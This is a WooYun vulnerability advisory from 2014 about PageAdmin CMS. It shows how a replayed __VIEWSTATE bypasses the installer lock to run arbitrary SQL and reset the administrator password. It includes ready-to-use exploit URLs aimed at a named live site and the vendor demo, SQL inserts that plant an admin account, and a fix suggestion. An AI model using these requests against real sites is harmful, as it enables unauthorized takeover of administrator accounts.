当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061699

漏洞标题:PageAdmin可“伪造”VIEWSTATE从而执行任意SQL查询、可随意重置管理员密码

相关厂商:PageAdmin

漏洞作者: wefgod

提交时间:2014-05-21 13:53

修复时间:2014-08-16 13:54

公开时间:2014-08-16 13:54

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-21: 细节已通知厂商并且等待厂商处理中
2014-05-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-07-20: 细节向核心白帽子及相关领域专家公开
2014-07-30: 细节向普通白帽子公开
2014-08-09: 细节向实习白帽子公开
2014-08-16: 细节向公众公开

简要描述:

漏洞都是在安装目录下,啥?你说install.lock了?完全木有影响啊!再怎么lock,都一样杀。此漏洞和之前的一些所谓越权是有比较大区别的。稍微用了下“语言特性”,俺还真是头一回发现这货原来还可以这样利用

详细说明:

先例行公事:
官网:http://www.pageadmin.net/
搜索引擎:https://www.google.de/#newwindow=1&q=PageAdmin+CMS,++All+Rights+Reserved&start=90
搜索结果非常巨大,有点让我震惊,所以我才决定去试试看。
好吧,直接插入吧!
任意SQL查询
先访问安装页面:
http://www.youlu888.com/e/install/index.aspx

image001.png


提示已经lock了
直接访问下面的链接(.NET的小“BUG”):

http://www.youlu888.com/e/install/index.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D&ctl02=%E8%BF%90%E8%A1%8CSQL


image003.png


下面还提示要删除lock文件啊,忽视,随意输入点东西,执行:

image005.png


执行了!
来一发(test2/admin不解释):

insert into pa_member(id,username,userpassword,m_group) values(999,'test2','c868a64eabe1126d5b514afcf8dda46b17f','admin');


同时再执行一个

insert into pa_adminpermission(site_id,uid) values(1,999);


为什么要执行后面这个,请仔细想想表名的意思。另外site_id的信息可看下图:

image009.png


登录:

image010.png


好吧,看看官网吧:

http://demo.pageadmin.net/e/install/index.aspx?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D&ctl02=%E8%BF%90%E8%A1%8CSQL


image012.png


image014.png


找一下后台,登录
http://demo.pageadmin.net/e/master2007/login.aspx

image016.png


获取到物理路径:

image018.png


漏洞证明:

管理员密码任意重置
为了规避一些问题,这个操作我在本地搭建的环境进行。
先看正常步骤,setup=4的时候是管理密码设置

image020.png


这里我设置为了123456,点击下一步的时候记得抓下数据包。
当我再次执行访问setup=4的时候,已经提示lock了:

image021.png


根据我们前面获取到的VIEWSTATE,构造出下面的句子:

e/install/index.aspx?setup=4?__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYGAgEPFgIeB1Zpc2libGVoZAIDDxYCHwBoZAIJDxYCHwBnZGQ%3D&Login_Pass=admin&Login_Pass1=admin&ctl09=%E4%B8%8B%E4%B8%80%E6%AD%A5


Login_Pass=admin&Login_Pass1=admin就是把密码设置为admin了,访问之后:
访问:

image022.png


呵呵一笑。说初始化完毕了,去后台登录,看看我们admin/admin是否修改成功:

image024.png


成功!如果觉得有疑问的,可以下载官方给出的包:
http://file.pageadmin.net/v3.rar
自行测试就知道了。
好了,说点实在的东西,那这个

__VIEWSTATE=%2FwEPDwULLTExODcwMDU5OTgPZBYCAgEPZBYCAgMPFgIeB1Zpc2libGVoZGQ%3D


到底是怎么来的呢?其实很简单,自己本地搭建一个,然后访问获取到相关参数值即可。VIEWSTATE只是保存控件的一个状态,所以只要符合他加密的规律的他自然可以解开并还原控件的状态,然后就呵呵了
其它请参阅:
http://msdn.microsoft.com/zh-cn/library/ms227551(v=vs.80).aspx
具体这个执行任意SQL查询到底还可以干什么?自己发挥想象了。管理员密码重置还挺直接的哈。

修复方案:

安装目录的每个tab页面添加一个token做随机数吧,同时,在做任意一个安装操作的时候,都检查是否有lock文件存在。为了安全嘛!

版权声明:转载请注明来源 wefgod@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-08-16 13:54

厂商回复:

漏洞Rank:20 (WooYun评价)

最新状态:

2014-05-26:CNVD将近期所有PageAdmin漏洞,一并向软件生产厂商通报处置。